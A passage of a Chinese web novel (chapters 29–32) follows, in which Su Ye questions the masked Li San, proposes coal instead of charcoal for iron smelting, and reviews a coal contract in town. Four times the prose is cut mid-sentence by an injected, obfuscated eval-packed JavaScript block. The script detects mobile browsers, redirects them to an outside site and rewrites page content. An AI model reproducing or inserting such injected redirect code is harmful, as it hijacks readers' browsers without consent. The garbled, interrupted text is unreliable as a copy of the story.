苏冶也不假客气，点了点头，“那辛苦您看着了，有事随时来找我。” 说罢，一路晃荡着朝住处去了。 —— 回去时，如她所料，今夜不太平。 见屋里等黑着，苏冶还没进去，便被瓦片落地的声音惊了一下。 循声望去，瞧见屋顶上那道身影时，她立马回头看了一圈，而后几步绕道南侧山墙荫蔽处。 那人也绕着屋顶跟了过来。 苏冶盯着那张白面黑点面具，忍不住道： “你每次出现都要在屋顶嘛。” 关键脸上还戴着这么个东西，白天尚且能看，到了晚上，月光打下一片惨白。 月光光，心慌慌。 面具后面那人不以为意，那人撩起袍子，一派悠闲坐在了屋顶上。 “总不能走正门。” 这倒也是。 想着，苏冶问道： “你怎会在此处？” 她怎样的没想到，会在哑沟里再见到李三。 更没想到，他以传闻中“米贼”的身份被曹经光明正大地请来了这里。 “收了银子，替人办事。” 说话间，李三顺手将脸上的面具拿了下来，清俊的面容完整地曝露在了月光下。 “你这身行头又是？” 李三知晓她问的什么，将手上的面具晃了晃后，轻声道： “组织发的。” 见苏冶不说话，李三又添了句：“好看吗，我也帮你搞一套。” “……” 许久不见，这人较个把月前更没正经了。 “不好看，牢城营里刑犯穿的也是这个色。” “……” 李三笑了下，说道：“尘世凡子，谁不是笼中之徒。” “……” 以免他继续兜售中二语录，苏冶转移话题道： “你是什么时候成了米瓮的人。” 今日在河边，面具男念叨咒语的时候，熟悉的声调响起，苏冶在原地愣了半晌。 她本是不大相信这巧合的，可看着那人同李三相近的身高和体型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301461|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，以及同行业的神棍职业，她不信也得信。 她不禁深思，当初她刚到此处不久，李三便甩了袖子出家，后来苏冶见了他一面，彼时他穿的还不是如今这身行头，苏冶只当他是个普通神棍。 这么看，莫非那时候他已经入了米翁，又或者是后来凭借努力拿到的编制？ 不想李三伸出一只手架着头，漫不经心道： “如今是便可，何必揪着过去，旧执不断……” “打住。” 将他的念经意图扼住后，苏冶继续问道： “你方才说你是收银子替人办事，是什么意思，收的可是曹经的银子？办什么事，驱鬼？” 李三点了点头。 “你既知道，怎的又问我。” 苏冶：“就这么简单？” 李三：“就这么简单。” 看他这样子，是问不出什么其他的，苏冶话锋一转，追问道： “米翁在外也有些名声，曹经有什么能耐请得动你们？” 言下之意，他同你们是不是有些关系。 这一问后，李三索性不说话了，只瞪着眼睛，直勾勾盯着她，似是在出神。 “你在瞧什么？”苏冶忍不住问道。 “你说呢？” 苏冶想了想，如实道：“像是在透过我看你思念的亡妻。” 李三：“去掉前半个字，你不是吗。” 苏冶：“当然不是。” 说着，她不禁想，当日曹经将她骗来此处，不知事情帮她办了没，她有没有在法律层面成为寡妇。 前世毕竟是法治国家的公民，即便现在极大可能成了黑户，苏冶潜意识还是看中这个。 故而，下意识说出口后，她又补充道： “也不一定。” 李三：“这便对了，你举目无亲，何必将我这个亡夫剔的这么干净。” 听他这样说，苏冶问道： “你说我是你从人牙子处买来的，那你是什么来历，说来我还不曾见过公婆。” 李三笑了笑，说道：“我既已经了断了红尘，自是和你一样，况且……” 苏冶见他顿了下，说道：“况且什么？” 李三倒是没想到苏冶有意将他这些轱辘话听下去。 “况且有了亲缘，便是多了份束脚的羁绊，到头来困的是自己。” 不想苏冶摇了摇头。 “多了份羁绊，未必是束脚，浮萍尚有牵着它的那股风，落在地上的人尚有……” 苏冶突然停住了，失笑。 “尚有什么？”这回追问的是李三。 地心引力，苏冶想说，可惜信息量太大，还是不为难李三了。 “没什么。” 李三没有追问，随即起了身，看着又是要走。 苏冶见状道：“你没什么要对我说的？” 她说的就是字面意思，李三大晚上的爬屋顶，难不成就是为了同她唠几句嗑？ 不想他还真摇了摇头。 “没了。” 话毕，还不待苏冶回应，几步向前，同上次一般，闪没了影。 得嘞，又是什么都没问到，自己每问些曹经和米瓮的关键信息，都被他插科打诨搪塞了过去，明显是不想说。 这种情况，苏冶逼问也是问不出什么的，索性放了他走。 就在她以为一无所获时，回到屋里，门闩处却落下了一个东西。 王喜还没回来，苏冶蹲下身捡起来，将灯点着后，她看清了那东西。 正是白日里李三两人腰间挂着的小布袋。 29.开演 苏冶将布袋的抽绳拉开，伸手从里面掏出了一张折叠整齐的纸条，凑近烛台后，她看清了上面的字样—— “出山计，五斛粟” 恰在此时，门口传来动静，她迅速将纸条塞进衣兜后，回头看去，正见王喜推门而入。 瞧见苏冶仍在灯下坐着，王喜语气带几分关切道： “怎的还没歇下，明儿一早还得起。” “这就睡。” 熄灯躺下后，她脑子里来回琢磨纸条上的东西。 首先是来源，李三今夜现身她的屋顶，这东西极有可能是他留下的。 只不过，既然俩人能当面交谈，何必多此一举留下一张语焉不详的字条。 不过按照影视剧的套路，这样的人设通过打哑谜的方式来提升行事格调也并非没有可能，毕竟这人行事的风格担得起一句神出鬼没。 她本欲再想一会儿，奈何脑子里的生物钟准时敲响，她敛起心神，果断选择睡觉。 翌日清晨，苏冶到河边，场子上不少人都是一夜没歇，赤着膊子来回穿梭。 空气里雾气还没散去，只是混着炉火滚出的热气，也没甚凉意，想来除了前世的华南地区，也只有哑沟大早上能享受到室外的蒸桑拿待遇。 苏冶今日到河边后，觉察出几分不同以往的气氛，村里不少人同她同她主动招呼，语气较以往热络了许多。 “苏娘子早啊。” “苏娘子来啦” “……” 虽觉察到大家伙儿态度有些变化，但她的心思大头都是扑在那几座炉子上，并不把这些放在心上，还是杨千换班的时候同她道了几句闲话。 “来啦。”瞧见她过来，杨千招呼道。 苏冶颔首回应，“钟师傅呢？” “算着你快到了，便先回去了，也是刚走不久。” “也是一把年纪了，盯一晚上确是有些熬不住，待过些时日对这炉子熟络些了，也不用时刻看着，想来能轻松些。” 杨千跟着点了点头，复又道：“你新捣鼓的这风箱使起来顺手得多啊，一晚上拉下来，大伙儿也不叫唤着腰酸背痛，都在背后夸你本事大哩。” 苏冶道：“都是我从别处学来的法子，只夸我记性好便可。” 她心里清楚，这次的风箱确是省力的不少，她在原先的基础上进行了改良，将活塞和活门的装置一同用了进去，设计很接近后世近代的风格了，这些都是她在考古做研究的时候积累的经验，并非是她的原创。 杨千不知晓其中因果，只当她是谦虚、 “总归是你手上的能耐，大家伙儿心里都佩服。” 苏冶也不再做解释，只点头道： “我知晓了，杨大哥也早些回去歇息吧。” 杨千应声告辞，前脚刚走，孙满仓后脚就来了，手里推着辆板车，上面堆着木炭。 “钟师傅教送来的？”苏冶问。 孙满仓点头，“场子上剩的不多了，昨儿晚上走的时候，交代今早拉过来。” 苏冶的视线落在了板车上，这里面装的是栎木炭，是她这趟置新炉的时候一道买的，这种木炭火力强质地也硬，算是比较好的还原剂和燃料。 她巡视一圈，这里起火用的都是木炭，她先前的注意力集中在高炉上，没有太多考虑燃料的问题，此刻心里却有了些新的念头 傍晚时候，钟应来河边，苏冶见他过来，从矮条凳上起身，没什么寒暄，开门见山道 “曹先生可在村里/” 昨天新炉刚落成，上月出的铁也都装了箱，曹经眼下有大大小小不少帐要核酸，想来会在村里他那账房里待上些日子，县衙那里仪式性地应个卯便可，即便不去，于他这样的老吏而言，也出不了什么岔子。 公家的差，吃的未必肥，但一定清闲。 “还没走，你可有事找他？”钟应问。 苏冶点头。 “那快些去吧，别耽搁太多休息工夫。”钟应道。 “好，谢谢您嘞。” 话音未落，人已快步离去。 她之所以跑得快，确实也是不想浪费自个儿的休息时间，自从来了哑沟，“睡眠充足”便与她无缘，偏她这人素来懂得在逆境中自谋福祉，能挤一点时间是一点。 寻着路到曹经的账房书房兼卧房后，苏冶叩门数声，迟迟不见回应。正当她怀疑里面那位是不是因为喝水呛到生命垂危故，打算推门救人时，屋里总算是传来了句： “进来。” 苏冶进去时，曹经正套着他那副算账专属表情皮肤，浑身一副生人勿进的气场。 一直到他停下手抬头望来，苏冶才开口说明来意： “有人给我留了样东西。” 曹经挑眉，“什么东西？” 她将一早准备好的布袋拿了出来，放在桌上。 “打开瞧瞧。” 曹经神色间扬着几分显而易见的诧异，拿起布袋，打开抽绳，将里面的纸条取了出来。 “昨个你请的那俩神棍离开后，我回去屋里，拾到这么个东西。” 看清上面的东西后，曹经将纸条放回桌上，语气平淡： “这是个甚意思？” 苏冶打量着他的神色，这货是真不懂还是装不懂。 “你没看出来？那俩人有问题。” 曹经：“什么问题。” 苏冶语气微沉道：“你可听过米瓮的名头？” 曹经顿了顿，缓缓点头，“那两位仙师，正是我从米瓮请来的。” 见他这么说，苏冶心里有了主意，面上却不露分毫，只伸手取回纸条，逐字分析道： “你听我说，‘出山计’是什么，自然是出村子。” 她指尖点着字迹，继续道： “ 至于‘五斛粟’，这米瓮有个‘米’字，瞧先前那两人衣着饰品，也和个‘米’字脱不了干系，这‘粟’碾去了皮便是小米，也是个米，这意思大抵就是，得给他们些报酬。” 苏冶语气渐渐有些激动，一把将纸条摊回桌上。 “我同米瓮的人素不相识，却在屋里寻到了这东西，你猜怎么着？” 曹经抬眼盯着她，示意她继续说下去，苏冶便道： “这袋子怕是不只是我这处里有，其他人说不定也拿着了，万一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308437|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识得这上面意思，动了心念，与那贼人里应外合，怕是……” “是什么？”见苏冶有些犹豫，曹经追问道。 “……河边的炉子才回来，若出了什么意外，谁来看火鼓风，谁来……” 赚钱，谁来赚钱。 曹经打量着苏冶，她似还有些羞耻心，不愿将这些话说得太过坦荡。 想到此处，他突然笑了。 苏冶看着那笑，觉得格外渗人，笑容这样美好的东西，安在曹经的脸上，也可以变成教人反胃的杀器。 “你笑什么？”苏冶问道。 曹经：“你怕自己兜里银子少了？” 苏冶脸色变了变，“我倒是不操心这个，只担心生了什么乱子，连同我一起遭殃。” 曹经：“你莫是忘了，你同那些人是一个来历，你拿到这东西，就没动念？” 兜了一圈，他总算是问了出来。 若是接下去苏冶面上意外之色过重，谴责他疑心自个儿，只会让他的疑心更重。 但是苏冶没有。 听曹经这样问，她一副早有预料的表情。 “我便知晓你要这般想。” 曹经：“我不该？” 不想苏冶利落地摇头，“你大可这样想，但从你的好处来看，我怎样想的不重要，你只需想，这东西落在了村子里，你合该多留个心眼儿。” 说着，她拿起丢在桌上的麻布袋子，“这东西同那神棍腰间系着的可是一模一样，我一时半会儿可仿不出这么个物件。” 曹经视线落向麻布袋，“你记性倒是好。” 苏冶不否认：“何止这布袋子，你将那神棍带来时，他们全身上下东西我都记得清楚。” 曹经眯起眼：“你觉着自己很聪明？” 苏冶：“难道不是？” 曹经：“真正聪明人，都不教别人瞧出来，更鲜少有卖弄的。” 苏冶笑道：“那叫虚伪，我只是实话实说，又怎算得上卖弄。” 曹经表面不置可否，心里却暗认这理，他混了这么多年，一个人聪明还是蠢，逃不过他的眼睛，他晓得，比蠢人装聪明更蠢的，是聪明人装蠢。 苏冶话音落下后，曹经便不再吱声，只双手抱臂，直勾勾打量着她，似是想要看出来些什么。 觉着不自在，苏冶如实说出口：“若是想着凭眼睛看出来我是不是个可信的，我怕不是高看了您。” 末了，曹经忽地笑道：“也罢，这东西留我这儿，此事我清楚了，你也不必再操心，安心办你的事便可，事情做好了，该你的我一分不会少。” 苏冶见状，满意点头，转身正要离去，却突然停下了步子。 “还有事？”曹经见状道。 “确有一事，得早些同你商量。” 苏冶转过身，从屋角处搬了个兀凳，坐在了曹经桌子旁边。 “打我来时，河边烧铁用的都是木炭，这木炭虽然用得多，却不是出铁最高的。” 听着这话，曹经来了兴致。 “你说该用什么？” 苏冶见他有些意思，开口道： “煤。” 30.煤炭 “石炭？” 苏冶点头，石炭便是她说的煤，看曹经的反应，这个时代，“煤”的叫法大概已经普及，只是有些书面，坊间大概还是惯叫做石炭。 “咱如今用木炭，炉子的火候远不不上用煤饼，还有，木炭不耐烧，看炉时得不间断往里补，这样下来，炼炉一启一闭，炉火也会受些影响。” 一言以蔽之，烧煤效率高。 曹经听了她的话，凝神思索片刻，像是在考虑可行性。 末了，他开口道： “来阳县大多用木炭，想来石炭有些难寻。” 曹经说的没错，炼铁用的燃料资源大多是就地取材，故而北方多用煤，南方木炭多些，但到了后世，货运发达了些，煤的使用范围也在不断扩充。 “豫州地处南境，煤矿自然是少些，但也并非没有法子。” 曹经听这话来了兴趣，挑眉道：“莫非你有什么门路。” 苏冶摇头，“我一个身无二两的寡妇能有什么门路，”顿了下后，又道： “但您想来能有。” 曹经翘着二郎腿，冷笑道：“我有这门路，我怎的不知晓。” 苏冶跟着一起笑了下，“我说说，你便知晓了。” “好，那你说来听听。” 苏冶见他有兴趣，拿过桌上茶盅，给自己倒了点。 “先生在来阳县多年，对此地有多少了解？” 曹经不知她怎的提到了这茬，斟酌了下后，说道：“小地方。” 苏冶见他不愿意多说，也不追问，只道： “这不错，来阳县确是个小地方，但却有些不同。” 曹经明知故问，“怎样不同？” 苏冶晓得他不愿意多说，自己没什么顾忌，如实道： “来阳县虽小，位置上却是个要冲，跨了鹿台山就是兖州地界，即便这样，两地往来依旧不少走动，来阳县有不少北边儿下来的商旅。” 听她的意思，曹经有几分明了： “有石炭的生意？” 不想苏冶摇头。 “运煤的营生麻烦，大宗货运，两地交界，即便是兖州的文引下来，到了来阳县，若寻不到下家，这些家伙可耽搁不起。” 曹经：“那你提这头的意思是？” 苏冶：“这些客商多做些衣料香包的小宗买卖没错，煤饼的生意，他们自己做不了，却能当个中人。” 曹经：“当中人？做谁的买卖？” 苏冶：“自然是本地的炼铁的商户同北境的买卖。” 关于苏冶说的这些商旅的底细，曹经知道的不少，不仅知道，门路尚有不少，只是这煤运的门道，他倒是有些稀奇，想着，他说道： “你当我未打听过，县里大多用的是木炭。” 苏冶听了这话，心想隔行如隔山却是有些道理，曹经一手帐算得漂亮，堪比大铺子的账房先生，但这些账目后面的炼铁的专业门道还是有几分盲。 “您有所不知，县里大多用木炭没错，但必然有些使煤的铺子，只这些商户不大愿意将这事情抖出来。” 曹经：“烧铁用的是木炭还是石炭有甚可瞒？” 苏冶：“你有所不知，照我先前说的，烧铁的时候使煤确是有诸多好处，确也有个极大的弊处。” 曹经：“什么？” 苏冶：“用煤炭固然快些，烧出来的铁品相较木炭却是要差上许多。” 这在冶铁考古的邻域是常识，煤钟硫磷含量高，炼炉容易粘结，甭管是当燃料还是渗碳剂，炼出的铁块掺杂的杂质都不少。 对于苏冶这种有经验的，瞧上一眼，便能看出那东西内里是个什么成色，但对大多数不懂炼铁的门外汉来说，若是只看新炼的成品，优劣很难辨别，故而这些铁器铺子对外宣称大都说自家用的是木炭。 当然，东西用久了品质如何，买家心里也有数，这不过是些小聪明。 所以，她将这点告诉曹经，有几分试探的意思。 她想知道，曹经对哑沟出铁的品相，重视多少，这同她心里一些猜测有关系。 “品相虽是差些，一月下来的出铁量却是能比原先涨一大截。” 话音落下后，曹经默了半晌，食指敲打桌面的声响断续传来，苏冶也在无形中打量着他的神色。 她知道，对面没有立马砍断了这事，就说明她的主意出到了曹经的心坎上，他不语，该是还有些顾虑。 该说的她都说了，若继续说下去，倒显得她别有私心，只等曹经开口便道。 就在此时，曹经收回敲桌面的那只手，翻过手下的账簿看了一会儿后，开口对苏冶道： “照你说，这些铺子从何处置的石炭？” 苏冶理了一下思路，开口道： “这铁器铺子多少在来阳县有些根基，如我刚说的，煤炭是大宗货运，咱同兖州虽没有封了商路，各地方也都是有些忌讳，不愿做这生意，故而这些人铺子大都有自己投了银子的隐蔽些的运输线路。” 曹经想到她那会儿的话，开口问道： “你方才说北境来的商旅替人做中人，莫非就是这些铁器铺子。” 苏冶见他说到了点上，点了点头。 “这些商旅常在两地间往来，人脉线路自然娴熟，教他们贩煤没这个胆子，但帮个通融引路的中人，赚些外快，还是有不少人愿意接下这活。” 杯中的茶已经凉了，苏冶没有再喝，只继续道： “我只听人说起过这些门路，算一知半解，若你真有用煤的念头，便得自个儿想办法找门路，这事想来不简单，我今日也不过引个话头，做不做，怎样做，不是我能做主。” 言下之意，我提一嘴，你自己决定。 话音落下，苏冶打了个哈欠。 “白日也忙活了不久，我先回去了。” 暂时没了想问的，曹经也没留人，“回去吧。” 苏冶点头，起身便离开了屋里。 回去的路上，经过打谷场，苏冶远远便瞧见了小白，他只身一人，瞧着是刚下了工，正往住处走。 苏冶朝着他招了招手，小白见状停了下来，站在原地等他。 “就你一个人？” 苏冶跟了上来，同他一道回去。 小白点头，“来人聪替了我，杨大哥正歇息。” 方才没有在河边看到苏冶，他以为她在睡觉，没想到见她从东边儿相反方向走了过来。 “去找曹经？”小白道。 苏冶闻言道：“你脑子真灵光，同样的方向，我怎么就不是去散步或是找赵大娘。” 小白：“曹经如今在村里，若有事，赵大娘想来也得问他，你自然是直接去找他，若是散步……” 他转头看向苏冶，“你若有闲暇，大抵回屋里睡觉。” 苏冶无奈失笑：“我其实也有些风情雅趣。” 说着，她抬头环视一圈，“只是这鬼地方没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319489|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么野趣，像样的树都没种几棵，看咱们住的屋子老，想来曹经是鸠占鹊巢，也不知以前住的是什么人？” 小白也跟着她的话抬头看了一圈，倒不似她一般生出沮丧，自他有记忆来，鲜少注意到这些东西。 倒是苏冶，打他们相识以来，他从她口中听见过不少诸如“从哪搬来的石楠树，防蚊子还行，味儿也忒大”“今儿晚上星星比昨夜亮些”的话。 想来正是相反，苏冶是个挺有风情雅趣的人，况且是在这种情境下。 “你找曹经何事？”小问道。 苏冶没有隐瞒，“炼炉里烧木炭不美，想着找他，往后能不能换成煤。” 不想小白听了这话，反应竟不似曹经一般意外，接她的话道： “南境的煤炭少，若是来阳县，从北边运些许方便些，只是当下这情境，想来不太容易。” 苏冶没想到，小白对这些倒是知道得清楚，忍不住问道：“你去过北境？” 往日言语间，他似乎有意掩着自己的过去，苏冶也不多问。 但今日，小白却点了头。 不止，他还接着说道： “我不仅去过，还是在那边长大。” 苏冶有些意外，“单听你口音，倒是不大瞧得出来。” 小白：“我有意学豫州的口音。” 苏冶愣了一下，随即也能想得通，豫州这地方排外，听你口音是个外地人，免不了占着地头蛇的便宜坑坑你这外乡人。 见他如今愿意说，苏冶便顺着问道： “即是北境人，怎么来了豫州？” 小白微微怔了下，而后对她说：“同你一样。” 不止是不是她的错觉，小白语气中似乎夹着几分不易觉察的笑意。 忽的，她反应了过来，轻给了他一拳。 “在这儿等我呢你。” 这家伙是在揶揄她先前编的因战乱流亡豫州的颠沛身世。 她打完，自己也忍不住笑了。 小白装作什么都不知道，继续一本正经道： “我是真逃过来的。” 苏冶转过身瞪着他，一个大白眼，眼珠翻上去，也不下来。 “我不是？” 小白看她的表情，忍不住道：“眼睛别抽筋了。” 想着，继续道：“你说是，那便是。” 这小子，先前看不出来，还有些腹黑呛人的隐藏属性。 苏冶转过身，自顾道：“你莫要笑得太过，我来日编个更好听的，就说我是哪家的富贵小姐，家道中落才流落到了此处。” 小白今日不知哪个开关被打开了，似是得了乐趣，跟她对着来。 “富贵小姐举绣花针，不抡铁锤。” 不想苏冶笑道：“那是以往，来日我若成了巨富，便花银子找人四处宣扬，在他们时候，铁锤绣花针锅勺都一排摆开到她们眼前，教她们自己选。” “自己选？”小白道。 苏冶点头，“学什么，做闺秀还是悍妇，看她们自个儿喜好。” 本以为她这些不着边际的话会招来小白的笑。 不想他对自己说： “若是你，来日大抵能如意。” 苏冶听他这样说，心里微动，面上却没什么异常，笑道： “托你的好话。” 夜风习习，路上只有两人，月色倾下，拉长了地上的影子，在他们看不到的地方向前蔓延、交织，最后消失不见。 31.开始 本以为煤炭的事情需过些时日才有着落，不想曹经隔日便找了她。 “我已经安排妥当，此次你一人去县里，自有人来接应你。” 这次居然没让赵二那狗腿子跟着。 苏冶起先有些意外，回到住处后，复盘了一会儿，心里大抵有数了。 第二日，将河边一切同钟应交代好后，苏冶踏上了去县城的路。 赵二虽没来，曹经却派了个瞧着眼生的老车夫替她拉车。 进城后，车夫没有跟着她的意思，只拴了马，在城南等她，她只身一人去曹经说的地方赴约。 路上，经过一处茶舍时，苏冶有意放慢了些脚步，随即，一只黝黑的手抓住了她的裤脚。 她低头看去，一个头发蓬乱状若乞儿的小男孩正抓着她的裤脚。 那男孩正趴在地上，不说话，仰头望着她傻笑，露出一口整齐的牙。 苏冶朝他身后看了一眼，地上一块辨不出颜色已经十分陈旧的破布，边角处压着一个陶钵，想来是行乞的家当。 她叹了口气，从袖兜里拿出几个铜钱扔到了陶钵里。 她手上当然也是没什么钱，同曹经商议好的分成由于她置炉超出预算都泡了汤，只有更早些时候同他求来少得可怜的工钱。 索性哑沟里没什么花销，时日久了，虽不多，也能攒下点，快饿死的时候买个馒头，还是可以的。 那乞儿见陶钵里落了东西，立即松开了手，对着苏冶又是一阵傻笑，依旧不说话，若是教旁人瞧见，大抵觉着这孩子是个哑巴。 看着那乞儿松了手，苏冶不再逗留，朝着先前说好老歪酒楼去。 这次出行与以往不同，巳时出发，到县里较平时晚些，曹经似有意拖时间。 苏冶面上没有多问，心里多少猜到了了他的用意。 果不其然，她在酒楼二层的雅间等到午时，赴约的人姗姗来迟。 她抬头看向画屏前站着的人，也没起身问候。 待他坐下后，苏冶面无表情道: “本还想着是个新鲜面孔的贵人。” 赵二嗤笑一声，撩起袍子便坐，直接拿起桌上的酒壶往嘴里灌，全然是当水喝，想来是真渴了。 “哪个贵人有爷事儿办得利索。” 说着，他将东西推到苏冶手边。 苏冶拿起来看，是一份运煤的契书。 数目，成色，交割方式都已经定下，只是还没画押。 “你仔细着瞧些，这条目价码有甚问题？”赵二道。 “怪不得今日出来晚，敢情已经谈妥，我充了个挑茬的。”苏冶有意阴阳怪气道。 不想赵二这回反常的没揶揄她，只道： “老大说了，这事定不定的下来，其中关窍都得你掌眼。” 不是自己的话，听着十分别扭，想来赵二确实天赋一般，曹经也教不好。 “都这么说了，我得好好瞧瞧。” 苏冶开始细看契书上的内容。 乍一看没甚问题，但她还是瞧出了不少蹊跷。 “过路捐，护煤银？” 赵二点头：“这不稀奇，米布行当都有的。” 苏冶微微摇头，“这我晓得，但这价码高了，除过地方差役，即便是与当地的地痞分账，也高了。” 赵二：“那你说多少？” 苏冶伸出五根手指同赵二示意。 赵二有些犹豫：“这……能说得过去？” 苏冶：“你只管报给他，不止这一项，还有些条目，我同你定好暗码，若是过了，就走人。” 赵二脸上表情有些为难，“这是先前老大定好的，可不能撂挑子走人。” 苏冶无语道：“就是吃准了你这点，你放心，涨多少成，他能不能赚，我心里有数，你只管报，曹经没教你？” 这倒是，赵二心想。 苏冶也不再就此事同他浪费时间，仔细扫了一眼契书，将余下些问题都摘出来，列了新的报价条子给赵二。 “路段还未定下，按我同你写的报给他，别看花费无大差，官道设卡不少，查验克扣，到时候延误，银子都得从咱口袋里抠出来。” 赵二接过苏冶手里的东西，瞧着上面列下的东西，即便是个傻子也能看出有不少门道，忍不住问道： “你这些本事到底是从哪处学来的。” 苏冶抿了口茶，面无表情道：“没听赵大娘说过？我爹是官窑的。” 赵二：“官窑知晓各地捐路的银子？” 苏冶：“不然呢，真把铁匠当成只会抡锤看火的莽夫了。” 赵二见她话里带刺，又赶着时间紧，冷哼了一声，没再纠缠，转身离开，临了还撂下句： “你先别离开，事情没办完。” 不想苏冶倒是听他的话，没有踏出酒楼半步，只起身，临街的窗口支开了半扇，她走到窗边，向下看去。 赵二已不见了人影，街上热闹，其间行人大都有方向，有些个闲来无事的人四处乱瞧。 还有几个乞丐，手里拿着要饭的家伙，混在人堆里四处冲撞，倒也没人怪罪，碰着了，嫌弃状拍拍袍子，只管放了他们去。 没一会儿，酒楼伙计提着铜壶从门里钻出来，朝街上泼了半瓢茶水，水溅到一匹马的蹄边，那马动了动耳朵，没抬头。 苏冶转过身，坐了回去，手里摩挲着茶杯，等人。 没多久，确实来了人，却不是赵二。 “怎么看着的，还不快给我逮住，冲撞了客人，教你们吃不了兜着走。” “是是是……该是从东厢那边过去了，我这就去找找。” 一老一少的声音断续从屏风外边传来。 动静刚弱了些，屏风后面便滚进来一个团子。 苏冶朝地上看去，那团子已经爬了起来，个头却依旧不高——正是那会儿抓住她裤腿的小乞丐。 小乞丐眼珠子轱辘一转，见酒楼的人还没寻上来，几步走到苏冶身边，将一个小布包递到她手里，露出一个邀功似的表情，低声道： “我师傅本事大吧，都是按姐姐你说的做的，放心，想要的东西都在里面。” 苏冶捏了把他脏兮兮的脸，笑道：“你本事也大，改日给你吃糖。” 这话不是客气，那会儿趁着扔铜钱的机会将纸条扔进了钵里，不想这小鬼手脚倒是真利索，比她料想的快上许多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344196|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小乞丐脸上笑意更甚了，随即大人模样似的抱拳一振，蹲下身从屏风出滚了出去。 没过一会儿，外面就传来了动静。 “你这小鬼，快滚出去，别教我逮着……” 等到那声音淡了些后，苏冶将布包里的东西拿了出来—— 一本账簿，她打开来看，同赵二方才给他递来的单子上的字迹一样，出于同一人。 苏冶想到当初还在小曹村时，王喜替她买那些铸件，都是和朱长业朱老板本人打交道。 王喜还说过些：“那老板本事不小，县里同他规模大小一般的铺子，多少都请个账房先生，他倒是，事事都是亲力亲为，瞧那账簿都是自个儿翻。” 此刻苏冶看着账簿上这几月的账目，心想：朱长业的本事不是不大，是不得不大，这账本有门道，有些东西，不好假手于人。 四柱记账法，前世她为了做研究，这些东西都学过，加之过目不忘的本事，很快便讲这些东西记在了心里。 将账本收起后不久，赵二便回来了。 改动过的契书被递到她手里，苏冶扫了一遍后，点了点头。 “大抵没问题了，画押吧。” 赵二：“大抵是个什么意思，你可看好了，一丁点儿差错也不能有。” 苏冶：“你都跑了这两趟，不嫌累？” 赵二：“办事儿呢，说什么废话。” 苏冶将契书递给他。 “大抵，便是可以，做生意，你想一点亏不吃，那往后也别想着赚了。” 赵二自然晓得这道理，只不过习惯跟苏冶过不去罢了。 县里人多眼杂，逗留太久也不是个事儿，将事情都办好后，与来时不同，苏冶是同赵二坐了一辆马车回去。 回去路上，赵二嘴上又忍不住说起了难听话。 “瞧见了吧，这些日子你把自个儿当根葱，不想到头来，到了正事，老大根本信不过你，还得我去办。” 苏冶着胳膊眯着眼，不作回应。 赵二见状直接上手，推了一把苏冶肩膀。 察觉到有人碰她，苏冶某头微皱，缓缓睁开眼，语气几分不客气 “干嘛？” 赵二嗤道：“最烦你这副装相，老大不信你让我一个办事儿，心里不是滋味还嘴硬。” 苏冶没说话，只冷冷盯着赵二。 不知怎的，这次不同以往，赵二莫名被她盯得有些发怵。 眼前这人身量力气没一个比得上他，他却就是觉着，自己有股气儿被压着。 “你看什么！”他隐隐有些气急败坏。 苏冶见状，一字一句开口，声音带着几分冷意：“你用哪只手推的我？” 赵二听这话笑了，“怎的，你一个寡妇，还学着男人的腔调，想给自己出口气儿不成，爷今儿就是推了你，右手，你能怎么样！” 他一席话说完，苏冶点了下头，又阖上了眼。 “晓得了。” 赵二见她这副不在意的样子，胸腔里一口气更甚了。 “你晓得甚！给爷说清楚！” 晓得什么？ 自然是知道你用的哪只手，来日好砍了喂狗。 32.合污 “你非要听，我便同你说清楚些。” 苏冶睁了眼。 “甭管你信不信，曹经看我几分重，我压根儿不在意，我不似你……”她看向赵二，“是条好狗。” “你！”赵二一时气上心头，欲要动手的样子。 苏冶面色不改道：“狗爪子伸过来之前，最好想想后果，我今儿心情不好，闹上几日不看炉子，赵大娘不得给你找些不舒服？” 赵二：“你还真把自个儿当回事，难不成你没闹过。” 苏冶：“对啊，我闹过，挨了棒子关进去，你见我死了吗，没死对吧，那我就敢再进去一趟。” 